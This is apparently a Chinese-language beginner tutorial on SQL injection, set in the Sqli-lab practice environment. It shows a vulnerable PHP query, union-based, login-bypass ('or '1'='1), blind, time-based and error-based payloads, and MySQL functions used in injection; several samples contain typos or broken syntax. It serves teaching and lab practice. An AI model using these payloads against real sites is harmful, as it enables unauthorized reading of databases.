sql注入(0)

前置知识:sql基础语法

环境:mysql,Sqli-lab,phpstudy

原理:

编写代码时没有对用户的输入数据或者是页面中所携带的信息进行必要的合法性判断,攻击者利用这个机会提交一段数据库查询代码,根据程序返回的结构就可以获得一些数据库信息

SQL注入是一种将恶意的sql代码插入或添加到应用的输入参数的攻击,攻击者探测出开发者编程过程中的漏洞,利用这些漏洞,巧妙地构造SQL语句,对DBMS的内容进行直接检索或修改

灵活的SQL查询语句+用户输入的数据带入了SQL语句=用户直接操作数据库->SQL注入

例如:

正常查询:

1
2
3
4
select version();
select id from jobs where id = 1;
select id from jobs where id = 1 union select version();
select id,location from jobs where id = 1 union select 1,version();

用户输入可控,代码对用户输入,带入了SQL语句,产生了SQL注入漏洞:

http://test.com/index.php?id=1 union select 1,version()#

前者是正常输入,后者是用户输入可自主控制

代码实现:

1
2
$id=$_GET['id'];
$sql="select * from users where id='$id' limit 0,1"

具体输入:

1
select id,location from jobs where id = 1

返回id为1的location

1
select id,location from jobs where id = 1 union select 1,version()#

返回id为1的location和数据库版本
如果是想查询id和其他数据的信息,比如说查id和版本信息时

正常查询:

1
select * from users where id=1  union select 1,2,version()#

上面是正常查询的语句,但如果要代入代码即上面贴出的

1
$sql="select * from users where id='$id' limit 0,1"

我们则要考虑闭合单引号,构造payload:

1
id=1' union select 1,2,version()# 

PS:#为sql中的注释,即后面的语句全都忽略不执行
把payload代入代码就是这样的

1
$sql="select * from users where id='1' union select 1,2,version()#'  limit 0,1"

这里可以很清晰的看见1’闭合了前面的select后面的union联合查询执行查询版本信息,#把后面的给注释忽略不执行,这就是比较典型的一个sql注入语句
但是这里所有我们自主输入的数据都是正确可执行的,比如id=1’,闭合后就是id=’1’就是查询1,执行后显示的就是id为1的数据,后面union查询的不会显示,所以需要把第一个数据改为一个错误或者说是不存在的比如说是-1

1
id=-1' union select 1,2,version()# 

再把上面的代入$sql这里,就能显示出版本的信息。

Mysql常用函数及逻辑运算:

PS:内置函数推荐去官方文档去查看或者是菜鸟教程之类的

常用函数:

system_user():系统用户名

user():用户名

current_user():当前用户名

session_user():连接数据库的用户名

database():数据库名

version():数据库版本

@@datadir:数据库路径

@@basedir:数据库安装路径

@@version_compile_os:数据库安装路径

count():返回执行结果数量

concat():没有分隔符地连接字符串

concat_ws():含有分隔符地连接字符串

group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据

load_file():读取本地文件

into_outfile:写文件

ascii():字符串的ASCII代码值

ord():返回字符串第一个字符的ASCII值

mid():返回一个字符串的一部分

substr():返回一个字符串的一部分

length():返回字符串的长度

left():返回字符串的最左面几个字符

floor():返回小于或等于x的最大整数

rand():返回0和1之间的一个随机数

extractvalue():第一个参数:XML_document是string格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string(Xpath格式的字符串)

作用:从目标XML中返回包含所查询值的字符串

updatexml():第一个参数:XML_document是string格式,为XML文档对象的名称,文中为Doc

第二个参数:Xpath_string(Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

sleep():让此语句运行N秒钟

if():>select if(1>2,2,3);

_>3

char():返回整数Ascii代码字符组成的字符串

STRCMP():比较字符串内容

IFNULL():假如参数1不为NULL,则返回值为参数1,否则其返回值为参数2

exp():返回e的x次方

算术运算符:

+:加法运算 -: 减法运算 *:乘法运算 /:除法运算 %:求余运算

DIV:除法运算,同”/“ MOD:求余运算,同“%”

比较运算符:

:大于 <:小于 =:等于 >=:大于等于 <=:小于等于 !=或<>:不等于

IS NULL:为空 IS NOT NULL:不为空

BETWEEN AND:在…之间 IN:包含

NOT IN:不包含 LIKE:模式匹配

NOT LIKE:模式匹配 REGEXP:正则匹配式

逻辑运算符:

&&或AND:与 !或NOT:非 ||或OR:或 XOR:异或

AND<–>OR:

1
select * from users where id = 1 and 1=1

前者为true,后者也是true,总体为true

1
select * from users where id = 1 or 1 = 2

前者为true,后者为false,总体为true
以上为AND和OR的区别

登陆处的SQL语句:

1
select * from users where username = 'admin' and pwd = 'pass' ;

万能密码:‘or ‘1’ = ‘1

1
select * from users where username = '  'or '1' = '1  ' and pwd = ' ' or '1' = '1 '
1
select * from users where username = " or '1' = '1' and pwd = " or '1' = '1'

然后直接分析可以发现false和true并为true,true再和false并为false,false再和true并为true

样例分析:

1
2
3
4
5
6
7
8
9
10
11
12
and 1=2 union select 1,2,3--

select user() regexp '^ro'

ascii(substr(select user()),1,1))=114

if(ascii(substr((select user()),1,1))=114,0,sleep(5))

(ascii(substr((select table_name from information_schema.t
ables where table_schema=database() limit 0,1),1,1)=9)

updataxml(1,concat(0x7e,(select @@version),0x7e),1)